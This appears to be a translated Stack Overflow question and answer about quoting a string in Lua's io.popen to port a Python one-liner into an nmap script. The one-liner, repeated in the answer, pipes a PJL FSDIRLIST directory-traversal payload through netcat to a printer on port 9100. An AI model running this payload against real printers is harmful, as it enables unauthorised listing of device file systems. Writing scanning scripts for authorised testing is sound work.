我正在尝试使用 popen 将包含多个引号的字符串通过管道传输到 netcat。我有一个运行良好的 Python 命令,但我正在将其转换为 nmap 脚本。我对Lua不太熟悉。
Python 版本:
python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100
Lua尝试的版本:
local handle = assert(io.popen("python -c 'print \"\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a\"' | nc " .. host .. " " .. port, "r"))
这会导致以下错误:
File "<string>", line 1
print "2345X@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1 COUNT=999999
有没有办法组织该字符串以便 Lua 接受它?
最佳答案
尝试使用长字符串
[[python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100]]
关于带字符串参数的 Lua popen,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27553482/